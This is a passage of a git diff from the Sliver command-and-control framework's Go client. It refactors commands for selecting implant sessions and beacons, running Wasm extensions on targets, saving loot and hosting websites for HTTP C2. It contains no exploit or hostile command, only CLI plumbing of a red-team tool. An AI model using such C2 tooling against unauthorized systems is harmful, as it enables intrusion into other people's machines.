completers.NewFlagCompsFor(updateCmd, func(comp *carapace.ActionMap) { + (*comp)["proxy"] = completers.LocalProxyCompleter() + }) + + versionCmd := &cobra.Command{ + Use: consts.VersionStr, + Short: "Display version information", + Long: help.GetHelpFor([]string{consts.VersionStr}), + Run: func(cmd *cobra.Command, args []string) { + VerboseVersionsCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("update", false, versionCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{updateCmd, versionCmd} +} diff --git a/client/command/update/update.go b/client/command/update/update.go index df996b4986..bee158c7f4 100644 --- a/client/command/update/update.go +++ b/client/command/update/update.go @@ -46,8 +46,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// UpdateCmd - Check for updates -func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UpdateCmd - Check for updates. +func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { VerboseVersionsCmd(cmd, con, args) timeoutF, _ := cmd.Flags().GetInt("timeout") @@ -125,12 +125,12 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -// VerboseVersionsCmd - Get verbose version information about the client and server -func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// VerboseVersionsCmd - Get verbose version information about the client and server. +func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { clientVer := version.FullVersion() serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to check server version %s\n", err) + con.PrintErrorf("Failed to check server version %s\n", con.UnwrapServerErr(err)) return } @@ -218,7 +218,7 @@ func clientAssetForGOOS(assets []version.Asset) *version.Asset { return findAssetFor(prefix, suffixes, assets) } -func updateAvailable(con *console.SliverConsoleClient, client *http.Client, release *version.Release, saveTo string) { +func updateAvailable(con *console.SliverClient, client *http.Client, release *version.Release, saveTo string) { serverAsset := serverAssetForGOOS(release.Assets) clientAsset := clientAssetForGOOS(release.Assets) diff --git a/client/command/use/beacons.go b/client/command/use/beacons.go index 17a3835642..9d70c22440 100644 --- a/client/command/use/beacons.go +++ b/client/command/use/beacons.go @@ -25,8 +25,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// UseBeaconCmd - Change the active beacon -func UseBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UseBeaconCmd - Change the active beacon. +func UseBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon, err := beacons.SelectBeacon(con) if beacon != nil { con.ActiveTarget.Set(nil, beacon) diff --git a/client/command/use/commands.go b/client/command/use/commands.go new file mode 100644 index 0000000000..b3ce01184f --- /dev/null +++ b/client/command/use/commands.go @@ -0,0 +1,58 @@ +package use + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/beacons" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/sessions" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + useCmd := &cobra.Command{ + Use: consts.UseStr, + Short: "Switch the active session or beacon", + Long: help.GetHelpFor([]string{consts.UseStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + UseCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("use", true, useCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(useCmd).PositionalCompletion(BeaconAndSessionIDCompleter(con)) + + useSessionCmd := &cobra.Command{ + Use: consts.SessionsStr, + Short: "Switch the active session", + Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + UseSessionCmd(cmd, con, args) + }, + } + carapace.Gen(useSessionCmd).PositionalCompletion(sessions.SessionIDCompleter(con)) + useCmd.AddCommand(useSessionCmd) + + useBeaconCmd := &cobra.Command{ + Use: consts.BeaconsStr, + Short: "Switch the active beacon", + Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + UseBeaconCmd(cmd, con, args) + }, + } + carapace.Gen(useBeaconCmd).PositionalCompletion(beacons.BeaconIDCompleter(con)) + useCmd.AddCommand(useBeaconCmd) + + return []*cobra.Command{useCmd} +} diff --git a/client/command/use/sessions.go b/client/command/use/sessions.go index 2b81ba13f7..cc360b1dd2 100644 --- a/client/command/use/sessions.go +++ b/client/command/use/sessions.go @@ -25,8 +25,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// UseSessionCmd - Change the active session -func UseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UseSessionCmd - Change the active session. +func UseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, err := sessions.SelectSession(false, con) if session != nil { con.ActiveTarget.Set(session, nil) diff --git a/client/command/use/use.go b/client/command/use/use.go index 14b1f6e2b4..ef96458fe0 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -31,6 +31,8 @@ import ( "github.com/rsteube/carapace" "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/beacons" + "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -38,8 +40,8 @@ import ( var ErrNoSelection = errors.New("no selection") -// UseCmd - Change the active session -func UseCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UseCmd - Change the active session. +func UseCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var session *clientpb.Session var beacon *clientpb.Beacon var err error @@ -68,11 +70,11 @@ func UseCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// SessionOrBeaconByID - Select a session or beacon by ID -func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) { +// SessionOrBeaconByID - Select a session or beacon by ID. +func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } if err == nil { for _, session := range sessions.Sessions { @@ -83,7 +85,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb } beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } for _, beacon := range beacons.Beacons { if strings.HasPrefix(beacon.ID, id) { @@ -93,12 +95,12 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id) } -// SelectSessionOrBeacon - Select a session or beacon -func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) { +// SelectSessionOrBeacon - Select a session or beacon. +func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { // Get and sort sessions sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } sessionsMap := map[string]*clientpb.Session{} for _, session := range sessions.GetSessions() { @@ -113,7 +115,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, // Get and sort beacons beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } beaconsMap := map[string]*clientpb.Beacon{} for _, beacon := range beacons.Beacons { @@ -181,62 +183,16 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, return nil, nil, nil } -// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids -func BeaconAndSessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { +// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids. +func BeaconAndSessionIDCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action return action.Invoke(ctx).Merge( - SessionIDCompleter(con).Invoke(ctx), - BeaconIDCompleter(con).Invoke(ctx), + sessions.SessionIDCompleter(con).Invoke(ctx), + beacons.BeaconIDCompleter(con).Invoke(ctx), ).ToA() } return carapace.ActionCallback(comps) } - -// SessionIDCompleter completes session IDs -func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { - results := make([]string, 0) - - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err == nil { - for _, s := range sessions.Sessions { - link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) - id := fmt.Sprintf("%s (%d)", s.Name, s.PID) - userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) - desc := strings.Join([]string{id, userHost, link}, " ") - - results = append(results, s.ID[:8]) - results = append(results, desc) - } - } - return carapace.ActionValuesDescribed(results...).Tag("sessions") - } - - return carapace.ActionCallback(callback) -} - -// BeaconIDCompleter completes beacon IDs -func BeaconIDCompleter(con *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { - results := make([]string, 0) - - beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) - if err == nil { - for _, b := range beacons.Beacons { - link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress) - id := fmt.Sprintf("%s (%d)", b.Name, b.PID) - userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname) - desc := strings.Join([]string{id, userHost, link}, " ") - - results = append(results, b.ID[:8]) - results = append(results, desc) - } - } - return carapace.ActionValuesDescribed(results...).Tag("beacons") - } - - return carapace.ActionCallback(callback) -} diff --git a/client/command/wasm/commands.go b/client/command/wasm/commands.go new file mode 100644 index 0000000000..1b4eb4da29 --- /dev/null +++ b/client/command/wasm/commands.go @@ -0,0 +1,55 @@ +package wasm + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + wasmCmd := &cobra.Command{ + Use: consts.WasmStr, + Short: "Execute a Wasm Module Extension", + Long: help.GetHelpFor([]string{consts.WasmStr}), + GroupID: consts.ExecutionHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + WasmCmd(cmd, con, args) + }, + } + flags.Bind("", true, wasmCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, wasmCmd, func(f *pflag.FlagSet) { + f.BoolP("pipe", "P", false, "pipe module stdin/stdout/stderr to the current terminal (session only)") + f.StringP("file", "f", "", "include local file(s) in wasm module's /memfs (glob pattern) ") + f.StringP("dir", "d", "", "recursively include local directory in wasm module's /memfs (glob pattern)") + f.BoolP("skip-registration", "s", false, "assume the extension is already registered") + f.BoolP("loot", "X", false, "save output as loot, incompatible with --pipe") + }) + completers.NewFlagCompsFor(wasmCmd, func(comp *carapace.ActionMap) { + (*comp)["file"] = carapace.ActionFiles() + (*comp)["dir"] = carapace.ActionDirectories() + }) + wasmComp := carapace.Gen(wasmCmd) + wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)")) + wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)")) + + wasmLsCmd := &cobra.Command{ + Use: consts.LsStr, + Short: "List registered wasm extensions with current session/beacon", + Long: help.GetHelpFor([]string{consts.WasmStr, consts.LsStr}), + Run: func(cmd *cobra.Command, args []string) { + WasmLsCmd(cmd, con, args) + }, + } + wasmCmd.AddCommand(wasmLsCmd) + + return []*cobra.Command{wasmCmd} +} diff --git a/client/command/wasm/memfs.go b/client/command/wasm/memfs.go index 32fc448400..5cd06883ff 100644 --- a/client/command/wasm/memfs.go +++ b/client/command/wasm/memfs.go @@ -5,12 +5,13 @@ import ( "os" "path/filepath" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) -func parseMemFS(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (map[string][]byte, error) { +func parseMemFS(cmd *cobra.Command, con *console.SliverClient, args []string) (map[string][]byte, error) { memfs := make(map[string][]byte) totalSize := 0 diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index 3abb990aa4..93c4c9e3b1 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -25,28 +25,29 @@ import ( "os" "path/filepath" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // wasmMaxModuleSize - Arbitrary 1.5Gb limit to put us well under the 2Gb max gRPC message size -// this is also the *compressed size* limit, so it's pretty generous +// this is also the *compressed size* limit, so it's pretty generous. const ( gb = 1024 * 1024 * 1024 wasmMaxModuleSize = gb + (gb / 2) ) -// WasmCmd - session/beacon id -> list of loaded wasm extension names +// WasmCmd - session/beacon id -> list of loaded wasm extension names. var wasmRegistrationCache = make(map[string][]string) -// WasmCmd - Execute a WASM module extension -func WasmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WasmCmd - Execute a WASM module extension. +func WasmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -95,7 +96,7 @@ func WasmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } } -func isRegistered(name string, cmd *cobra.Command, con *console.SliverConsoleClient) bool { +func isRegistered(name string, cmd *cobra.Command, con *console.SliverClient) bool { // Check if we have already registered this wasm module if wasmRegistrationCache[idOf(con)] != nil { if util.Contains(wasmRegistrationCache[idOf(con)], name) { @@ -120,8 +121,8 @@ func isRegistered(name string, cmd *cobra.Command, con *console.SliverConsoleCli return false } -// idOf - Quickly return the id of the current session or beacon -func idOf(con *console.SliverConsoleClient) string { +// idOf - Quickly return the id of the current session or beacon. +func idOf(con *console.SliverClient) string { if con.ActiveTarget != nil { if session := con.ActiveTarget.GetSession(); session != nil { return session.ID @@ -133,16 +134,16 @@ func idOf(con *console.SliverConsoleClient) string { return "" } -func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) { +func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverClient) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() execWasmResp, err := con.Rpc.ExecWasmExtension(grpcCtx, execWasmReq) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if execWasmResp.Response != nil && execWasmResp.Response.Async { - con.AddBeaconCallback(execWasmResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(execWasmResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, execWasmResp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -159,7 +160,7 @@ func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console. } } -func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) { +func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverClient) { session := con.ActiveTarget.GetSession() if session == nil { con.PrintErrorf("No active session\n") @@ -176,7 +177,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR }) defer cancelTunnel() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Wait approximately 10 seconds after exit, and press to continue\n") @@ -190,7 +191,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR // Send the exec request wasmExt, err := con.Rpc.ExecWasmExtension(context.Background(), execWasmReq) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if wasmExt.Response != nil && wasmExt.Response.Err != "" { @@ -200,7 +201,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR SessionID: session.ID, }) if err != nil { - con.PrintErrorf("RPC Error: %s\n", err) + con.PrintErrorf("RPC Error: %s\n", con.UnwrapServerErr(err)) } return } @@ -227,7 +228,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR } } -func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console.SliverClient) error { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() data, err := os.ReadFile(wasmFilePath) @@ -247,14 +248,14 @@ func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console WasmGz: data, }) if err != nil { - return err + return con.UnwrapServerErr(err) } wasmRegistrationCache[idOf(con)] = append(wasmRegistrationCache[idOf(con)], filepath.Base(wasmFilePath)) return nil } -// WasmLsCmd - Execute a WASM module extension -func WasmLsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WasmLsCmd - Execute a WASM module extension. +func WasmLsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -266,7 +267,7 @@ func WasmLsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if len(loaded.Names) < 1 { diff --git a/client/command/websites/commands.go b/client/command/websites/commands.go new file mode 100644 index 0000000000..465477aa96 --- /dev/null +++ b/client/command/websites/commands.go @@ -0,0 +1,100 @@ +package websites + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + websitesCmd := &cobra.Command{ + Use: consts.WebsitesStr, + Short: "Host static content (used with HTTP C2)", + Long: help.GetHelpFor([]string{consts.WebsitesStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("websites", true, websitesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(websitesCmd).PositionalCompletion(WebsiteNameCompleter(con)) + + websitesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove an entire website and all of its contents", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsiteRmCmd(cmd, con, args) + }, + } + carapace.Gen(websitesRmCmd).PositionalCompletion(WebsiteNameCompleter(con)) + websitesCmd.AddCommand(websitesRmCmd) + + websitesRmWebContentCmd := &cobra.Command{ + Use: consts.RmWebContentStr, + Short: "Remove specific content from a website", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesRmContent(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesRmWebContentCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively add/rm content") + f.StringP("website", "w", "", "website name") + f.StringP("web-path", "p", "", "http path to host file at") + }) + websitesCmd.AddCommand(websitesRmWebContentCmd) + completers.NewFlagCompsFor(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { + (*comp)["website"] = WebsiteNameCompleter(con) + }) + + websitesContentCmd := &cobra.Command{ + Use: consts.AddWebContentStr, + Short: "Add content to a website", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesAddContentCmd(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesContentCmd, func(f *pflag.FlagSet) { + f.StringP("website", "w", "", "website name") + f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") + f.StringP("web-path", "p", "/", "http path to host file at") + f.StringP("content", "c", "", "local file path/dir (must use --recursive for dir)") + f.BoolP("recursive", "r", false, "recursively add/rm content") + }) + completers.NewFlagCompsFor(websitesContentCmd, func(comp *carapace.ActionMap) { + (*comp)["content"] = carapace.ActionFiles().Tag("content directory/files") + (*comp)["website"] = WebsiteNameCompleter(con) + }) + websitesCmd.AddCommand(websitesContentCmd) + + websitesContentTypeCmd := &cobra.Command{ + Use: consts.WebContentTypeStr, + Short: "Update a path's content-type", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesUpdateContentCmd(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesContentTypeCmd, func(f *pflag.FlagSet) { + f.StringP("website", "w", "", "website name") + f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") + f.StringP("web-path", "p", "/", "http path to host file at") + }) + websitesCmd.AddCommand(websitesContentTypeCmd) + completers.NewFlagCompsFor(websitesContentTypeCmd, func(comp *carapace.ActionMap) { + (*comp)["website"] = WebsiteNameCompleter(con) + }) + + return []*cobra.Command{websitesCmd} +} diff --git a/client/command/websites/websites-add-content.go b/client/command/websites/websites-add-content.go index e296545078..86434cc811 100644 --- a/client/command/websites/websites-add-content.go +++ b/client/command/websites/websites-add-content.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsitesAddContentCmd - Add static content to a website -func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesAddContentCmd - Add static content to a website. +func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { con.PrintErrorf("Must specify a website name via --website, see --help\n") @@ -77,7 +77,7 @@ func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, web, err := con.Rpc.WebsiteAddContent(context.Background(), addWeb) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites-rm-content.go b/client/command/websites/websites-rm-content.go index b0e4f1bce8..2dbdc2b122 100644 --- a/client/command/websites/websites-rm-content.go +++ b/client/command/websites/websites-rm-content.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsitesRmContent - Remove static content from a website -func WebsitesRmContent(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesRmContent - Remove static content from a website. +func WebsitesRmContent(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("website") webPath, _ := cmd.Flags().GetString("web-path") recursive, _ := cmd.Flags().GetBool("recursive") @@ -47,7 +47,7 @@ func WebsitesRmContent(cmd *cobra.Command, con *console.SliverConsoleClient, arg Name: name, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } @@ -66,7 +66,7 @@ func WebsitesRmContent(cmd *cobra.Command, con *console.SliverConsoleClient, arg } web, err := con.Rpc.WebsiteRemoveContent(context.Background(), rmWebContent) if err != nil { - con.PrintErrorf("Failed to remove content %s", err) + con.PrintErrorf("Failed to remove content %s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites-rm.go b/client/command/websites/websites-rm.go index 8f1a19359b..3f1203452d 100644 --- a/client/command/websites/websites-rm.go +++ b/client/command/websites/websites-rm.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsiteRmCmd - Remove a website and all its static content -func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsiteRmCmd - Remove a website and all its static content. +func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { name = args[0] @@ -38,7 +38,7 @@ func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s Name: name, }) if err != nil { - con.PrintErrorf("Failed to remove website %s", err) + con.PrintErrorf("Failed to remove website %s", con.UnwrapServerErr(err)) return } } diff --git a/client/command/websites/websites-update-content.go b/client/command/websites/websites-update-content.go index d7e21e4788..2e05c2abfe 100644 --- a/client/command/websites/websites-update-content.go +++ b/client/command/websites/websites-update-content.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WebsitesUpdateContentCmd - Update metadata about static website content -func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesUpdateContentCmd - Update metadata about static website content. +func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { con.PrintErrorf("Must specify a website name via --website, see --help\n") @@ -55,7 +55,7 @@ func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverConsoleClie web, err := con.Rpc.WebsiteUpdateContent(context.Background(), updateWeb) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } PrintWebsite(web, con) diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index 2af253a990..34bce11214 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -38,8 +38,8 @@ const ( defaultMimeType = "application/octet-stream" ) -// WebsitesCmd - Manage websites -func WebsitesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WebsitesCmd - Manage websites. +func WebsitesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if len(args) > 0 { websiteName := args[0] ListWebsiteContent(websiteName, con) @@ -48,11 +48,11 @@ func WebsitesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// ListWebsites - Display a list of websites -func ListWebsites(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ListWebsites - Display a list of websites. +func ListWebsites(cmd *cobra.Command, con *console.SliverClient, args []string) { websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to list websites %s", err) + con.PrintErrorf("Failed to list websites %s", con.UnwrapServerErr(err)) return } if len(websites.Websites) < 1 { @@ -66,13 +66,13 @@ func ListWebsites(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } } -// ListWebsiteContent - List the static contents of a website -func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) { +// ListWebsiteContent - List the static contents of a website. +func ListWebsiteContent(websiteName string, con *console.SliverClient) { website, err := con.Rpc.Website(context.Background(), &clientpb.Website{ Name: websiteName, }) if err != nil { - con.PrintErrorf("Failed to list website content %s", err) + con.PrintErrorf("Failed to list website content %s", con.UnwrapServerErr(err)) return } if 0 < len(website.Contents) { @@ -83,11 +83,12 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) { } // PrintWebsite - Print a website and its contents, paths, etc. -func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) { +func PrintWebsite(web *clientpb.Website, con *console.SliverClient) { con.Println(console.Clearln + console.Info + web.Name) con.Println() tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Path", "Content-type", @@ -111,13 +112,17 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) { } // WebsiteNameCompleter completes the names of available websites. -func WebsiteNameCompleter(con *console.SliverConsoleClient) carapace.Action { +func WebsiteNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("Failed to list websites %s", err) + return carapace.ActionMessage("Failed to list websites %s", con.UnwrapServerErr(err)) } for _, ws := range websites.Websites { diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go new file mode 100644 index 0000000000..28011d9cd2 --- /dev/null +++ b/client/command/wireguard/commands.go @@ -0,0 +1,126 @@ +package wireguard + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + 